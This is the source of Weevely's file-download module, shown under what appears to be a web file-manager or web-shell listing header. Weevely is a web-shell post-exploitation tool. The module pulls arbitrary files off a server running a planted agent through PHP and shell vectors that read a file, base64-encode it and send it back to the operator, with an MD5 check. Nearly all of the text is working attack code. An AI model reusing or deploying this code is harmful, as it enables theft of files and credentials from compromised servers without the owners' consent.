Viewing file: download.py (2.8 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import base64 import hashlib
from weevely.core import messages from weevely.core.loggers import log from weevely.core.module import Module from weevely.core.vectors import ModuleExec from weevely.core.vectors import Os from weevely.core.vectors import PhpCode from weevely.core.vectors import ShellCmd
class Download(Module): """Download file from remote filesystem."""
def init(self): self.register_info({"author": ["Emilio Pinna"], "license": "GPLv3"})
self.register_vectors( [ PhpCode("print(@base64_encode(implode('',@file('${rpath}'))));", name="file"), PhpCode("$f='${rpath}';print(@base64_encode(fread(fopen($f,'rb'),filesize($f))));", name="fread"), PhpCode("print(@base64_encode(file_get_contents('${rpath}')));", name="file_get_contents"), ShellCmd("base64 -w 0 ${rpath} 2>/dev/null", name="base64", target=Os.NIX), ] )
self.register_arguments( [ {"name": "rpath", "help": "Remote file path"}, {"name": "lpath", "help": "Local file path"}, {"name": "-vector", "choices": self.vectors.get_names(), "default": "file"}, ] )
def run(self, **kwargs): # Check remote file existance if not ModuleExec("file_check", [self.args.get("rpath"), "readable"]).run(): log.warning(messages.module_file_download.failed_download_file) return None
# Get the remote file MD5. If this is not available, still do a basic check # to see if the output is decodable as base64 string. expected_md5 = ModuleExec("file_check", [self.args.get("rpath"), "md5"]).run() if expected_md5: check_md5 = lambda r: r != None and hashlib.md5(base64.b64decode(r)).hexdigest() == expected_md5 else: log.debug(messages.module_file_download.skipping_md5_check) check_md5 = lambda r: r != None and bool(base64.b64decode(r))
# Find the first vector that satisfy the md5 check vector_name, result = self.vectors.find_first_result(format_args=self.args, condition=check_md5)
# Check if find_first_result failed if not vector_name: log.warning(messages.module_file_download.failed_download_file) return None
# Dump to local file lpath = self.args.get("lpath")
try: result_decoded = base64.b64decode(result) with open(lpath, "wb") as resultfile: resultfile.write(result_decoded) except Exception as e: log.warning(messages.generic.error_loading_file_s_s % (lpath, str(e))) return None
return result_decoded
def print_result(self, result): """Override print_result to avoid to print the content"""
|